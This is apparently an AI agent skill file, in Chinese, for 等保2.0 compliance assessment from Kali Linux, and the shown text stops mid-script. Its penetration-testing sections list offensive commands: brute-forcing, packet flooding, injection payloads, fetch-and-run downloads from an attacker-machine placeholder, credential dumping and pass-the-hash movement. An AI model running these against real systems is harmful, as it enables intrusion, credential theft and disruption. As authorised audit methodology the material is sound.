--- name: "djbh-assessment" description: "Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019." --- # 网络安全等级保护测评技能(等保2.0) 本技能在Kali Linux环境中执行等保2.0(GB/T 22239-2019)全流程测评,覆盖安全通用要求与云计算/工控/物联网/大数据/移动互联扩展要求。 ## 等保级别速查 | 等级 | 名称 | 典型对象 | 测评周期 | |------|------|----------|----------| | 第一级 | 自主保护级 | 小型企业内网 | 不定级 | | 第二级 | 指导保护级 | 一般企业门户/邮件 | 每两年一次 | | 第三级 | 监督保护级 | 政务/金融/运营商 | 每年一次 | | 第四级 | 强制保护级 | 国家重要信息系统 | 每半年一次 | | 第五级 | 专控保护级 | 国家核心机密系统 | 视情况而定 | > 本技能以**第二级和第三级**为主,这也是企业最常见的等保测评级别。 ## 等保2.0安全域全景图 ``` ┌──────────────────────────────────────────────────────────────┐ │ 安全管理要求 │ │ 安全管理制度 │ 安全管理机构 │ 安全管理人员 │ 建设管理 │ 运维管理 │ ├──────────────────────────────────────────────────────────────┤ │ 安全技术要求 │ │ 物理环境 → 通信网络 → 区域边界 → 计算环境 → 管理中心 │ ├──────────────────────────────────────────────────────────────┤ │ 等保2.0扩展要求(按需) │ │ 云计算安全 │ 移动互联安全 │ 物联网安全 │ 工控安全 │ 大数据安全 │ └──────────────────────────────────────────────────────────────┘ ``` ## 一、测评全流程(六阶段) ``` 系统定级 → 备案 → 差距分析 → 现场测评(访谈/核查/测试) → 整改加固 → 复测 → 报告 ``` --- ## 阶段0:系统定级与备案 > 等保测评的第一步,必须与客户确认目标系统已按《信息安全等级保护管理办法》完成定级和备案。 ### 0.1 定级检查要点 | 序号 | 检查项 | 方法 | |------|--------|------| | 1 | 定级报告是否经专家评审 | 查阅定级报告、评审会议纪要 | | 2 | 是否向公安机关备案 | 查验备案证明 | | 3 | 备案等级与系统实际重要程度是否匹配 | 比对业务描述与等级要求 | | 4 | 系统边界是否明确 | 查阅系统拓扑图与网络架构文档 | ### 0.2 访谈参考问题 | 角色 | 问题 | |------|------| | 系统管理员 | "请描述被测系统的业务范围、用户规模和核心数据" | | 安全负责人 | "定级过程中做了哪些评审?备案编号是多少?" | | 运维人员 | "系统的网络边界如何划分?与哪些外部系统互联?" | --- ## 阶段1:差距分析(现状调研) > 目标:通过问卷调查、文档审查和初步扫描,了解系统现状与等保目标级别之间的差距。 ### 1.1 文档审查清单 | 文档类型 | 内容 | |----------|------| | 安全管理体系 | 安全管理制度、安全策略文件、岗位职责说明 | | 建设过程文档 | 安全方案设计、产品采购合同、验收报告 | | 运维过程记录 | 巡检记录、变更审批、应急预案 | | 人员管理记录 | 保密协议、培训记录、离职交接单 | | 技术配置文档 | 网络拓扑图、IP分配表、系统配置清单 | ### 1.2 资产全发现 ```bash # 步骤1: 存活主机发现(含非标准设备) nmap -sn -PE -PP -PM <目标网段>/24 -oA phase1_live_hosts # 步骤2: 全端口快速扫描(优先用masscan) masscan -p1-65535 --rate=2000 -oJ masscan_all.json $(cat phase1_live_hosts.gnmap | awk '/Up$/{print $2}' | tr '\n' ' ') # 步骤3: 对存活端口做服务识别 nmap -sS -sV -sC -O --script banner -p $(jq -r '[.[].ports[].port]|unique|join(",")' masscan_all.json) \ -iL hosts.list -oA phase1_service_detect # 步骤4: DNS域名发现 fierce --domain <目标域名> dnsrecon -d <目标域名> -t axfr dnsenum <目标域名> ``` ### 1.3 Web资产深度发现 ```bash # 子域名爆破 gobuster dns -d <目标域名> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 # 目录/文件爆破 gobuster dir -u <目标URL> -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,do,action -t 50 # API端点发现 ffuf -u <目标URL>/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt # JS源码敏感信息提取 waybackurls <目标域名> | grep -E '\.js$' | httpx -o js_files.txt for url in $(cat js_files.txt); do curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)' done ``` ### 1.4 资产分类表 | 类别 | 包含对象 | 发现方式 | |------|----------|----------| | 网络设备 | 路由器、交换机、防火墙、负载均衡 | SNMP扫描、CDP/LLDP | | 安全设备 | IDS/IPS、WAF、日志审计、堡垒机 | 端口特征识别 | | 服务器 | 物理机、虚拟机、云主机 | OS指纹、端口服务 | | 终端 | 办公PC、运维终端 | MAC地址、主机名 | | 数据库 | MySQL/Oracle/SQLServer/MongoDB/Redis | 端口3306/1521/1433/27017/6379 | | 中间件 | Tomcat/Nginx/IIS/Apache/WebLogic/JBoss | 端口8080/80/443/7001 | | 应用系统 | Web应用、API服务、邮件系统 | URL扫描、业务端口 | --- ## 阶段2:现场测评(核心阶段) > 遵照GB/T 28448-2019测评方法:**访谈 → 核查 → 测试**三维度交叉验证。 --- ### 2.1 安全物理环境 > 权重:二级 5% / 三级 3% | 控制点 | 访谈问题 | 核查内容 | 测试验证 | |--------|----------|----------|----------| | 物理位置选择 | 机房位于建筑哪层? | 现场查看楼层位置 | - | | 物理访问控制 | 进出机房需要什么审批? | 门禁日志、登记表 | 尝试尾随进入 | | 防盗窃和防破坏 | 设备是否固定? | 设备标签、线缆标识 | - | | 温湿度控制 | 空调是否双路? | 温湿度记录、告警阈值 | 检测实际温湿度 | | 电力供应 | UPS能支持多久? | UPS巡检记录 | 模拟市电中断 | | 防火 | 有哪些消防设备? | 消防检测报告 | - | | 防水防潮 | 是否有漏水检测? | 检查漏水检测装置 | - | ### 2.2 安全通信网络 > 权重:二级 15% / 三级 10% #### 访谈 | 问题 | 询问对象 | |------|----------| | "核心网络设备的处理能力是否满足业务高峰期需求?" | 网络管理员 | | "带宽如何规划?是否有QoS策略?" | 网络管理员 | | "通信线路是否有冗余?主备切换时间是多少?" | 网络管理员 | | "系统各网段如何划分?VLAN间隔离策略是什么?" | 网络管理员 | | "是否启用了网络加密通信?" | 安全管理员 | #### 核查 ```bash # SNMP读取网络设备接口流量 snmpwalk -v2c -c <目标IP> 1.3.6.1.2.1.2.2.1.10 # ifInOctets snmpwalk -v2c -c <目标IP> 1.3.6.1.2.1.2.2.1.16 # ifOutOctets # 路由表信息泄露风险检查 snmpwalk -v2c -c <目标IP> 1.3.6.1.2.1.4.21 # ipRouteTable ``` #### 测试 ```bash # 网络分区分域检测 # 跨VLAN通信测试 nmap -sn # 带宽测试 iperf3 -c <目标IP> -p 5201 -t 30 # 通信加密验证 nmap --script ssl-enum-ciphers -p 443 <目标IP> testssl.sh --csvfile tls_report.csv <目标IP> # 网络路径追踪(确认路由是否合规) traceroute -T <目标IP> mtr -r -c 10 <目标IP> ``` --- ### 2.3 安全区域边界 > 权重:二级 20% / 三级 15% #### 访谈 | 问题 | 询问对象 | |------|----------| | "边界防火墙有哪些访问控制策略?是否默认拒绝?" | 网络管理员 | | "是否有入侵检测/防御系统(IDS/IPS)?" | 安全管理员 | | "是否有恶意代码防范机制?更新频率?" | 安全管理员 | #### 核查 ```bash # 防火墙规则检测(远程探测) nmap --script firewall-bypass -p 22,80,443,3389,8080 <目标IP> # 检测是否有开放高危端口 nmap -p 21,23,135,139,445,3389,6379,27017 --open <目标网段> -oA open_danger_ports # ACL有效性验证 # 使用hping3构造特殊包测试 hping3 -S -p 80 -c 3 <目标IP> hping3 -A -p 80 -c 3 <目标IP> hping3 -F -p 80 -c 3 <目标IP> ``` #### 测试 ```bash # 边界完整性检测 # 非法内联/外联测试 hping3 -S --spoof <伪造内网IP> -p 8080 <目标IP> # 入侵检测能力验证 nmap -sS -T5 --max-retries 0 -p- <边界防火墙IP> # 快速扫描触发告警 # DDoS防护能力简单验证 hping3 --flood -p 80 <目标IP> ``` --- ### 2.4 安全计算环境(核心) > 权重:二级 25% / 三级 20% 这是等保测评中内容最多、权重最高的安全域,涵盖**身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范、数据完整性、数据保密性、数据备份恢复、剩余信息保护、个人信息保护**十大控制点。 #### 2.4.1 身份鉴别 ##### 访谈 | 问题 | 对象 | |------|------| | "操作系统是否有账号口令策略?" | 系统管理员 | | "是否使用了双因素认证?" | 安全管理员 | | "应用系统是否有验证码、登录失败锁定等机制?" | 应用管理员 | ##### 核查 — Linux系统 ```bash # 需要远程登录到目标主机执行 # 口令策略核查 cat /etc/login.defs | grep -E '^PASS_MAX_DAYS|^PASS_MIN_DAYS|^PASS_MIN_LEN|^PASS_WARN_AGE' cat /etc/pam.d/common-password | grep pam_pwquality cat /etc/security/pwquality.conf # 空口令账户检查 awk -F: '($2 == "" || $2 == "!" || $2 == "*") {print "空/锁账户:", $1}' /etc/shadow # root远程登录检查 grep "^PermitRootLogin" /etc/ssh/sshd_config # 特权账户数量 awk -F: '($3 == 0) {print $1}' /etc/passwd # 密码加密算法 authconfig --test | grep hashing grep "^ENCRYPT_METHOD" /etc/login.defs ``` ##### 核查 — Windows系统(通过SMB远程探测) ```bash # 使用enum4linux进行账户策略探测 enum4linux -U <目标IP> enum4linux -P <目标IP> # 密码策略 # 通过crackmapexec检查 crackmapexec smb <目标IP> --pass-pol crackmapexec smb <目标IP> --users ``` ##### 核查 — 网络设备 ```bash # SNMP读取设备用户列表 snmpwalk -v2c -c <设备IP> 1.3.6.1.4.1.9.9.392.1.3 # 检查SNMP默认团体字 onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <设备IP> ``` ##### 测试 — 口令强度 ```bash # 在线爆破测试(需明确授权) hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \ -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \ ssh://<目标IP> # FTP弱口令 hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<目标IP> # 数据库弱口令 hydra -L user.txt -P pass.txt <目标IP> mysql hydra -L user.txt -P pass.txt <目标IP> mssql hydra -L user.txt -P pass.txt <目标IP> postgres ``` #### 2.4.2 访问控制 ##### 核查 ```bash # Linux: 文件权限检查 find /etc -type f -perm -o+w 2>/dev/null # 关键目录全局可写 find / -perm -4000 -o -perm -2000 2>/dev/null # SUID/SGID文件 ls -la /etc/passwd /etc/shadow /etc/group # Linux: sudo权限 cat /etc/sudoers | grep -v '^#' | grep -v '^$' # 共享目录权限 nmap --script smb-enum-shares -p 445 <目标IP> # NFS目录导出权限 showmount -e <目标IP> nmap --script nfs-showmount <目标IP> # FTP匿名访问 nmap --script ftp-anon -p 21 <目标IP> ``` ##### 测试 ```bash # 越权访问测试 # 尝试匿名/来宾访问SMB smbclient -L //<目标IP> -N smbclient //<目标IP>/share -N # 测试NFS挂载 mount -t nfs <目标IP>:/export /mnt/target -o nolock # 测试rsync未授权 rsync <目标IP>:: # 列出模块 rsync --list-only <目标IP>::module_name ``` #### 2.4.3 安全审计 ##### 访谈 | 问题 | 对象 | |------|------| | "审计日志保存多长时间?是否定期备份?" | 审计管理员 | | "审计进程是否受保护,是否不可中断?" | 系统管理员 | | "日志是否实时发送到集中审计平台?" | 安全管理员 | ##### 核查 ```bash # Linux: 审计服务状态 systemctl status auditd auditctl -l # 日志配置 cat /etc/rsyslog.conf | grep -v '^#' | grep -v '^$' grep -r "^\*\.\*" /etc/rsyslog.d/ 2>/dev/null # 日志文件权限 ls -la /var/log/ # Windows: 审计策略(通过crackmapexec) crackmapexec smb <目标IP> -u user -p pass --audit-policies ``` ##### 测试 ```bash # 审计日志完整性测试 # 生成一次登录失败事件,确认日志记录 ssh nonexist@<目标IP> # 日志未外发检测 nmap --script rsyslog-info -p 514 <目标IP> # Syslog接收端检查 nmap -sU -p 514 <目标IP> ``` #### 2.4.4 入侵防范 ##### 核查 ```bash # Linux: 是否安装HIDS ps aux | grep -iE 'ossec|wazuh|aide|tripwire|rkhunter|chkrootkit' # 是否开启selinux/apparmor getenforce aa-status # 是否关闭不必要服务 ss -tlnp ss -ulnp # 高危端口开放情况 ss -tlnp | grep -E ':21|:23|:513|:514|:111|:2049' ``` ##### 测试 ```bash # 已知漏洞快速检测 nmap --script vuln --script-timeout 30s <目标IP> # 永恒之蓝 nmap --script smb-vuln-ms17-010 -p 445 <目标IP> # 心脏滴血 nmap --script ssl-heartbleed -p 443 <目标IP> # RDP BlueKeep nmap --script rdp-vuln-ms12-020 -p 3389 <目标IP> # 暴露服务版本是否有已知CVE(使用searchsploit查询) searchsploit apache 2.4.49 searchsploit openssh 7.4 ``` #### 2.4.5 中间件安全专项 ```bash # Tomcat安全检测 nmap --script http-tomcat-brute -p 8080 <目标IP> curl -s http://<目标IP>:8080/manager/html | head curl -s http://<目标IP>:8080/host-manager/html | head # JBoss/WildFly nmap --script http-jboss-status -p 8080,9990 <目标IP> curl -s http://<目标IP>:8080/jmx-console/ curl -s http://<目标IP>:8080/web-console/ # WebLogic nmap -p 7001,7002 --script http-weblogic-t3 <目标IP> curl -s http://<目标IP>:7001/console/ # phpMyAdmin curl -s http://<目标IP>/phpmyadmin/ curl -s http://<目标IP>/phpMyAdmin/ # .git泄露 curl -s http://<目标IP>/.git/HEAD curl -s http://<目标IP>/.svn/entries # .env泄露 curl -s http://<目标IP>/.env ``` #### 2.4.6 数据库安全专项 ```bash # MySQL空口令 nmap --script mysql-empty-password -p 3306 <目标IP> # MySQL枚举 nmap --script mysql-enum -p 3306 <目标IP> # MSSQL空口令 nmap --script ms-sql-empty-password -p 1433 <目标IP> # MSSQL信息收集 nmap --script ms-sql-info -p 1433 <目标IP> # Oracle TNS版本 nmap --script oracle-tns-version -p 1521 <目标IP> tnscmd10g version -h <目标IP> # MongoDB未授权 nmap --script mongodb-info -p 27017 <目标IP> echo 'db.version()' | timeout 3 nc <目标IP> 27017 # Redis未授权 nmap --script redis-info -p 6379 <目标IP> redis-cli -h <目标IP> INFO server 2>/dev/null # Elasticsearch未授权 curl -s http://<目标IP>:9200/_cat/indices curl -s http://<目标IP>:9200/_nodes # Memcached未授权 echo "stats" | timeout 3 nc <目标IP> 11211 ``` #### 2.4.7 数据安全专项 ##### 核查 ```bash # 数据备份检查(访谈为主,技术层面可做以下验证) nmap -p 873 --script rsync-list-modules <目标IP> # rsync备份服务 ``` ##### 测试 ```bash # 敏感数据传输加密 nmap --script ssl-enum-ciphers -p 443 <目标IP> curl -I -k https://<目标IP> | grep -i strict-transport-security # Cookie安全属性 curl -I http://<目标IP> | grep -i set-cookie # 需确认含 HttpOnly、Secure、SameSite 属性 # 数据传输是否明文 tcpdump -i eth0 -A -s 0 port 80 and host <目标IP> # 观察登录请求中是否传输明文密码 ``` --- ### 2.5 安全管理中心 > 等保2.0新增安全域,三级必备 | 权重:二级 N/A / 三级 10% #### 访谈 | 问题 | 对象 | |------|------| | "是否有集中安全管理平台(SOC/SIEM)?" | 安全管理员 | | "是否对安全设备进行集中监控和告警?" | 安全管理员 | | "是否有统一的日志分析、关联分析能力?" | 审计管理员 | #### 核查 ```bash # 安全运营中心探活 nmap -p 443,8443,9443 --open <管理网段> # Syslog集中收集 nmap -sU -p 514 --open <管理网段> # SIEM/SOC平台识别 whatweb # 审计平台识别 nmap -p 5601,9200 --open <管理网段> # Elasticsearch/Kibana nmap -p 8000,8089 --open <管理网段> # Splunk ``` --- ### 2.6 虚拟化安全专项(等保2.0新增) ```bash # vSphere/ESXi nmap -p 443,902,903 --script http-vmware-path-vuln <虚拟化平台IP> # Docker API未授权 curl -s http://<目标IP>:2375/containers/json curl -s http://<目标IP>:2376/containers/json # Kubernetes API Server curl -k https://<目标IP>:6443/version curl -k https://<目标IP>:6443/api/v1/namespaces # etcd未授权 curl http://<目标IP>:2379/v2/keys ``` --- ### 2.7 密码应用安全专项(商用密码合规) ```bash # 国密算法支持检测 nmap --script ssl-enum-ciphers -p 443 <目标IP> | grep -i 'SM2\|SM3\|SM4' # 检查是否仍然使用MD5/SHA1证书 openssl s_client -connect <目标IP>:443 -servername <域名> 2>/dev/null | openssl x509 -noout -text | grep 'Signature Algorithm' ``` --- ## 阶段3:渗透测试 > 注意:仅在客户提供书面授权且确认不影响业务的前提下执行。 ### 3.1 Web应用渗透 ```bash # OWASP Top 10 自动化检测 # Nikto nikto -h <目标URL> -output nikto_report.html -Format html # Nuclei模板扫描 nuclei -u <目标URL> -t cves/ -t vulnerabilities/ -t exposures/ -t misconfiguration/ -o nuclei_report.txt # SQL注入深度测试 sqlmap -u "<目标URL>?id=1" --batch --dbs --random-agent --level=3 --risk=2 # XSS测试 xsser --url="<目标URL>" --auto dalfox url <目标URL> # SSRF测试 # 在参数中内嵌burp collaborator地址,观察是否有SSRF回连 # 文件上传绕过测试 # 构造各类特殊后缀(.php5, .phtml, .php%00.jpg等) # 命令注入测试 # 在参数中插入 ;id、|id、`id`等payload ``` ### 3.2 系统渗透 ```bash # Metasploit自动化 msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS <目标IP>; run; exit" # 已知漏洞利用 searchsploit --nmap scan_report.xml # 将nmap结果与exploit-db关联 # 权限提升(获取shell后) wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe ``` ### 3.3 内网横向渗透 ```bash # 网络拓扑发现(从立足点) # Linux上 for i in $(ip route | grep -oP '(\d+\.){2}\d+\.\d+/\d+'); do fping -a -g $i 2>/dev/null; done # 凭据收集 mimikatz python3 /usr/share/doc/python3-impacket/examples/secretsdump.py domain/user:pass@ # 横向移动 crackmapexec smb <内网段> -u user -H NTLM_HASH --shares python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :NTLM_HASH domain/user@<目标IP> python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :NTLM_HASH domain/user@<目标IP> # Kerberoasting python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py domain/user:pass -request -outputfile kerb.txt hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt ``` --- ## 阶段4:整改加固建议 > 根据差距分析和现场测评结果,将不符合项按严重程度分为三级,提出可操作的整改建议。 | 问题分级 | 定义 | 整改时限 | |----------|------|----------| | **高危** | 可直接导致系统被攻击、数据泄露 | 立即整改 | | **中危** | 存在安全隐患,可能被利用 | 30天内 | | **低危** | 安全配置建议,优化项 | 90天内 | ### 常见整改项速查 | 不合规项 | 等保要求 | 整改方案 | |----------|----------|----------| | 密码策略弱 | 密码长度≥8位,含大小写数字特殊字符三种以上 | 修改/etc/login.defs + pwquality.conf | | 未限制登录失败 | 连续失败5次锁定≥10分钟 | 配置pam_tally2 或 fail2ban | | root远程登录 | 禁止root直接远程登录 | PermitRootLogin no | | 默认SNMP团体字 | 不使用public/private | 修改SNMP v3或复杂团体字 | | 高危端口开放 | 关闭telnet/ftp/rlogin等不安全服务 | systemctl disable --now telnet.socket | | 日志未集中管理 | 审计日志需集中存储 | 配置rsyslog转发到日志服务器 | | 未配置HTTPS | 敏感数据传输需加密 | 部署SSL证书,强制HTTPS | | 存在已知CVE | 及时打补丁 | 升级软件版本或配置虚拟补丁(WAF) | --- ## 阶段5:复测验证 | 步骤 | 操作 | |------|------| | 1 | 逐一核实高危和中危不符合项是否已整改 | | 2 | 对整改项执行原测试命令做回归验证 | | 3 | 截图/录屏保存整改证据 | | 4 | 更新测评记录表中的"整改后复测"列 | | 5 | 确认所有不符合项已关闭或降级为残余风险 | | 6 | 输出复测报告,作为最终测评报告的附件 | --- ## 阶段6:报告生成 ### 6.1 必须生成的测评文档 | 文档 | 依据 | |------|------| | 测评方案 | 包含测评指标、测评对象、测评方法 | | 现场测评记录 | 每项指标的访谈/核查/测试原始记录 | | 测评报告(主报告) | 结论、分数、不符合项清单、整改建议 | | 整改建议书 | 可落地的技术整改步骤 | | 复测报告 | 整改后的回归验证结果 | ### 6.2 报告核心结构 ``` 1. 测评项目概述 1.1 被测系统描述 1.2 测评等级与依据 1.3 测评范围 2. 测评过程与方法 2.1 测评流程 2.2 测评方法(访谈/核查/测试) 3. 被测系统概述 3.1 网络拓扑 3.2 资产清单 3.3 业务应用清单 4. 单元测评结果 4.1 安全物理环境 4.2 安全通信网络 4.3 安全区域边界 4.4 安全计算环境 4.5 安全管理中心 4.6 安全管理制度 4.7 安全管理机构 4.8 安全管理人员 4.9 安全建设管理 4.10 安全运维管理 5. 整体测评结果 5.1 层面间安全补偿分析 5.2 区域间安全补偿分析 6. 综合结论与评分 6.1 安全技术得分 6.2 安全管理得分 6.3 综合得分与符合性 7. 不符合项与整改建议 8. 附录 8.1 测评记录表 8.2 工具输出原始文件 8.3 截图/照片证据 ``` ### 6.3 工具报告汇总脚本 ```bash #!/bin/bash # 等保测评报告汇总 - 将所有扫描结果整合到报告目录 # 用法: ./report_collector.sh <项目名> <扫描结果目录> PROJECT=$1 SCAN_DIR=$2 REPORT_DIR="./djbh_report_${PROJECT}_$(date +%Y%m%d_%H%M%S)" if [ -z "$PROJECT" ] || [ -z "$SCAN_DIR" ]; then echo "用法: $0 <项目名> <扫描结果目录>" exit 1 fi mkdir -p "${REPORT_DIR}"/{01_asset,02_baseline,03_vuln,04_pentest,05_evidences,06_raw} # 汇总nmap结果 cp "${SCAN_DIR}"/phase1_*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null cp "${SCAN_DIR}"/*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null # 生成HTML报告 for xml in "${REPORT_DIR}/06_raw/"*.xml; do [ -f "$xml" ] && xsltproc "$xml" -o "${REPORT_DIR}/06_raw/$(basename "$xml" .xml).html" 2>/dev/null done # 汇总漏洞列表 grep -hri 'CVE-\|高危\|严重\|High\|Critical' "${SCAN_DIR}/"*.txt 2>/dev/null > "${REPORT_DIR}/03_vuln/vuln_summary.txt" echo "报告目录: ${REPORT_DIR}" echo "请将访谈记录、核查截图、复测结果放入对应子目录" ``` --- ## 附录A:等保2.0评分速算 ### 三级等保及格线 | 安全域 | 满分 | 及格线(≥70%) | |--------|------|-------------| | 安全物理环境 | 100 | ≥70 | | 安全通信网络 | 100 | ≥70 | | 安全区域边界 | 100 | ≥70 | | 安全计算环境 | 100 | ≥70 | | 安全管理中心 | 100 | ≥70 | | 安全管理制度 | 100 | ≥70 | | 安全管理机构 | 100 | ≥70 | | 安全管理人员 | 100 | ≥70 | | 安全建设管理 | 100 | ≥70 | | 安全运维管理 | 100 | ≥70 | **整体判定规则**:所有安全域均≥70分,且无"一票否决"项(如核心系统弱口令、未授权访问等),判定为**基本符合**。 --- ## 附录B:全流程自动化脚本 ```bash #!/bin/bash # 等保2.0测评全流程自动化脚本 # 环境: Kali Linux # 授权: 必须获得客户书面授权后方可执行 set -euo pipefail RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' log_info() { echo -e "${GREEN}[INFO]${NC} $(date '+%H:%M:%S') $*"; } log_warn() { echo -e "${YELLOW}[WARN]${NC} $(date '+%H:%M:%S') $*"; } log_error() { echo -e "${RED}[ERROR]${NC} $(date '+%H:%M:%S') $*"; } usage() { cat < 配置文件格式 (djbh.conf): TARGET_NETWORK="192.168.1.0/24" TARGET_WEB_URL="https://www.example.com" TARGET_WEB_IP="192.168.1.10" ASSESSMENT_LEVEL="3" # 等保级别:2 或 3 ENABLE_PENTEST="false" # 是否执行渗透测试阶段 ENABLE_BRUTEFORCE="false" # 是否执行口令爆破 SCAN_SPEED="4" # nmap -T 速率 EXCLUDE_IPS="192.168.1.1,192.168.1.254" MANAGER_NETWORK="10.0.0.0/24" # 管理网段(等保三级必填) EOF exit 1 } # 加载配置 CONFIG_FILE="${1:-}" [ -z "$CONFIG_FILE" ] && usage [ ! -f "$CONFIG_FILE" ] && { log_error "配置文件不存在: $CONFIG_FILE"; exit 1; } source "$CONFIG_FILE" # 校验必要参数 [ -z "${TARGET_NETWORK:-}" ] && { log_error "TARGET_NETWORK 未配置"; exit 1; } LEVEL="${ASSESSMENT_LEVEL:-2}" TIMESTAMP=$(date +%Y%m%d_%H%M%S) REPORT_BASE="./djbh_report_${TIMESTAMP}" mkdir -p "${REPORT_BASE}"/{01_asset_discovery,02_baseline_check,03_vulnerability_scan,04_pentest,05_logs} exec > >(tee -a "${REPORT_BASE}/05_logs/full_scan.log") 2>&1 log_info "=========================================" log_info "等保${LEVEL}级测评开始" log_info "目标网络: ${TARGET_NETWORK}" log_info "报告目录: ${REPORT_BASE}" log_info "=========================================" # ============================================= # 阶段1: 信息收集与资产发现 # ============================================= log_info "阶段1: 信息收集与资产发现" log_info " 1.1 存活主机发现..." nmap -sn -PE -PP -PM -T"${SCAN_SPEED:-4}" "${TARGET_NETWORK}" \ -oA "${REPORT_BASE}/01_asset_discovery/01_live_hosts" \ --exclude "${EXCLUDE_IPS:-}" grep "Nmap scan report" "${REPORT_BASE}/01_asset_discovery/01_live_hosts.nmap" | \ awk '{print $NF}' | tr -d '()' > "${REPORT_BASE}/01_asset_discovery/hosts.list" HOST_COUNT=$(wc -l < "${REPORT_BASE}/01_asset_discovery/hosts.list") log_info " 发现存活主机: ${HOST_COUNT} 台" if [ "$HOST_COUNT" -eq 0 ]; then log_warn " 未发现存活主机,检查TARGET_NETWORK配置" exit 0 fi log_info " 1.2 全端口扫描..." masscan -p1-65535 --rate=2000 -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oJ "${REPORT_BASE}/01_asset_discovery/02_masscan_ports.json" 2>/dev/null || \ log_warn " masscan执行异常,跳过" log_info " 1.3 服务版本与OS检测..." nmap -sS -sV -sC -O -T"${SCAN_SPEED:-4}" \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/01_asset_discovery/03_service_detect" \ --exclude "${EXCLUDE_IPS:-}" # ============================================= # 阶段2: 安全配置基线检查 # ============================================= log_info "阶段2: 安全配置基线检查" log_info " 2.1 TLS/SSL配置检查..." if [ -n "${TARGET_WEB_URL:-}" ]; then testssl.sh --csvfile "${REPORT_BASE}/02_baseline_check/tls_report.csv" \ "${TARGET_WEB_URL}" 2>/dev/null || log_warn " testssl.sh 执行异常" fi log_info " 2.2 高危端口暴露检查..." nmap -p 21,23,135,139,445,3389,6379,27017,2375,2376,6443 \ --open -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/02_baseline_check/04_danger_ports" \ --exclude "${EXCLUDE_IPS:-}" log_info " 2.3 SMB共享枚举..." nmap -p 445 --script smb-enum-shares,smb-enum-users \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/02_baseline_check/05_smb_enum" 2>/dev/null || true log_info " 2.4 SNMP默认团体字..." while read -r ip; do onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt \ "$ip" >> "${REPORT_BASE}/02_baseline_check/06_snmp_community.txt" 2>/dev/null || true done < "${REPORT_BASE}/01_asset_discovery/hosts.list" # ============================================= # 阶段3: 漏洞扫描 # ============================================= log_info "阶段3: 漏洞扫描" log_info " 3.1 常见CVE检测..." nmap --script vuln --script-timeout 60s \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/03_vulnerability_scan/07_vuln_scan" \ --exclude "${EXCLUDE_IPS:-}" || log_warn " vuln 脚本部分超时" log_info " 3.2 数据库安全检测..." # MySQL nmap -p 3306 --script mysql-empty-password,mysql-enum \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/03_vulnerability_scan/08_mysql" 2>/dev/null || true # Redis nmap -p 6379 --script redis-info \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/03_vulnerability_scan/09_redis" 2>/dev/null || true # MongoDB nmap -p 27017 --script mongodb-info \ -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \ -oA "${REPORT_BASE}/03_vulnerability_scan/10_mongodb" 2>/dev/null || true # ============================================= # 阶段4: 渗透测试(可选) # ============================================= if [ "${ENABLE_PENTEST:-false}" = "true" ]; then log_warn "阶段4: 渗透测试(已启用)" if [ -n "${TARGET_WEB_URL:-}" ]; then log_info " 4.1 Web漏洞扫描..." nikto -h "${TARGET_WEB_URL}" -output "${REPORT_BASE}/04_pentest/nikto_report.html" \ -Format html 2>/dev/null || log_warn " nikto 执行异常" nuclei -u "${TARGET_WEB_URL}" -silent \ -o "${REPORT_BASE}/04_pentest/nuclei_report.txt" 2>/dev/null || \ log_warn " nuclei 执行异常" fi if [ "${ENABLE_BRUTEFORCE:-false}" = "true" ] && [ -n "${TARGET_WEB_URL:-}" ]; then log_warn " 4.2 口令爆破(需确认授权)..." hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \ -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \ "${TARGET_WEB_IP:-${TARGET_WEB_URL}}" http-post-form \ "/login:user=^USER^&pass=^PASS^:F=error" 2>/dev/null || true fi else log_info "阶段4: 渗透测试(已跳过,设置 ENABLE_PENTEST=true 启用)" fi # ============================================= # 阶段5: 等保三级 - 安全管理中心 # ============================================= if [ "$LEVEL" -ge 3 ] && [ -n "${MANAGER_NETWORK:-}" ]; then log_info "阶段5: 安全管理中心检测(等保${LEVEL}级要求)" nmap -sn "${MANAGER_NETWORK}" -oA "${REPORT_BASE}/02_baseline_check/11_manager_network" 2>/dev/null || true fi # ============================================= # 汇总报告 # ============================================= log_info "=========================================" log_info "扫描完成,生成汇总..." log_info "=========================================" # 汇总高危发现 echo "=== 高危发现汇总 ===" > "${REPORT_BASE}/findings_summary.txt" grep -rn 'VULNERABLE\|Critical\|High\|高危\|严重\|CVE-' \ 